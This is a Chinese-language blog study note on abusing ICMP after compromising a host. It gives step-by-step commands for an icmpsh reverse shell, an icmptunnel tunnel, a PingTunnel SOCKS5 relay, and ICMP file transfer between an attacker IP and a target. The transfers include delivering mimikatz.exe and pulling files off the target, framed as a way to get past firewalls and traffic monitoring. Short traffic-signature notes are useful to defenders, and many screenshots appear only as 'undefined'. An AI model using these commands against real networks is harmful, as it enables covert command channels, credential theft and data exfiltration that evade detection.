ICMP利用方式

3年前 (2022-03-21) 三千院翼 学习笔记 0评论 已收录 1432℃

0x00 介绍

ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。

0x01 利用场景

在拿下一台主机后,往往需要执行一些命令或者上传下载一些文件,以便我们提权,转发等操作,但现在大型企业在网络边界往往部署了流量分析设备,这些设备会对数据包进行分析,如果说我们的shell没有进行加密,那么自然很容易就会被抓到。另外网络中的防火墙设备也会对某些特定的端口数据包进行封堵,导致shell无法连接。在某些流量严格的场景下,常用的技术不能突破检测设备的监测,这时候需要我们使用一些别的协议和技术来突破限制。

0x02 ICMP利用优缺点

  • 优点:

防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高。

  • 缺点:

ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低

利用隧道传输时,需要接触更低层次的协议,需要高级用户权限

0x03 ICMP利用

实验环境

攻击机: kali 192.168.1.128
目标机: win10 192.168.1.140
ubuntu: ubuntu20 192.168.1.139

利用icmp反弹shell

利用工具:icmpsh
项目地址:https://github.com/bdamele/icmpsh
适用于windows
下载

git clone https://github.com/inquisb/icmpsh 

之后禁用ping回复,防止内核对ping数据包进行响应,影响后续的利用
undefined

之后在攻击机开启服务

##  安装前置库
pip2 install impacket

##                   攻击机ip       目标机ip
python2 icmpsh_m.py 192.168.1.128 192.168.1.140

undefined

在目标windows主机执行命令

icmpsh.exe -t 192.168.1.128

undefined

成功反弹
undefined

乱码解决

## 修改字符集
chcp 65001

icmpsh.exe -t 192.168.1.128

undefined

undefined

流量特征

目标机执行连接后,会向攻击机发送请求,之后循环42字节的ping请求和60比特的回复
undefined

之后每次攻击机执行一次命令,目标机会发送一段大于42比特的请求
undefined

undefined

利用icmp建立隧道

利用工具:icmptunnel
项目地址:https://github.com/jamesbarlow/icmptunnel
适用于linux
在攻击机和ubuntu同时运行下载编译

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make

之后执行禁用ping回复

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

攻击机

./icmptunnerl -s
ctrl+z
bg
ifconfig tun0 10.0.2.1 netmask 255.255.255.0

WordPress10.png)
ubuntu

./icmptunnerl 192.168.1.128
ctrl+z
bg
ifconfig tun0 10.0.2.2 netmask 255.255.255.0

undefined

之后成功用攻击机连接
undefined

流量特征

大部分包为icmp包
undefined

并且ssh登录也是通过icmp通信
undefined

对比正常ssh登录,icmp隧道没有sshv2协议的流量
undefined

利用icmp流量中转

利用工具:PingTunnel
项目地址:http://www.cs.uit.no/~daniels/PingTunnel/
这里我选择使用云服务器作为实验对象
在一台服务器上作为server执行

chmod +x pingtunnel

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
## 设置成server
./pingtunnel -type server

undefined

之后在另外一个服务器作为client执行

chmod +x pingtunnel

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
## 将client的4455转发到server开启socks5
./pingtunnel -type client -l :4455 -s ip  -sock5 1

undefined

server端收到响应,代理开启
undefined

本地测试通过
undefined

curl 发现为server的ip
undefined

这里也可以开启tcp、udp代理

流量特征

发现全为icmp包,无http包
undefined

利用icmp传输文件

下载文件

利用工具:ICMP-TransferTools
项目地址:https://github.com/icyguider/ICMP-TransferTools
攻击机启动服务

pip3 install impacket

python3 ICMP-SendFile.py 192.168.1.128 192.168.1.140 mimikatz.exe 

undefined

目标机执行下载

Import-Module .\Invoke-IcmpDownload.ps1
Invoke-IcmpDownload 192.168.1.128 mimikatz.exe

undefined

上传文件

将目标机的1.txt传输至攻击机
攻击机启动服务

python3 ICMP-ReceiveFile.py 192.168.1.140 1.txt

undefined

目标机上传1.txt

Import-Module .\Invoke-IcmpUpload.ps1
Invoke-IcmpUpload 192.168.1.128 1.txt

undefined

攻击机收到文件
undefined

流量特征

  • 上传文件
    发现全为icmp数据包
    undefined
  • 下载文件
    同样全为icmp数据包
    undefined

参考

https://www.cxymm.net/article/weixin_44604541/118491274

博主
               

一个网安苦手,VtbMusic开发组成员|兽耳科技官方群管理组成员|珈百璃字幕组成员|夜樱诺娅字幕组成员|铃音_Official鸽组成员|米孝子|信安摸鱼生

相关推荐

有任何意见请评价。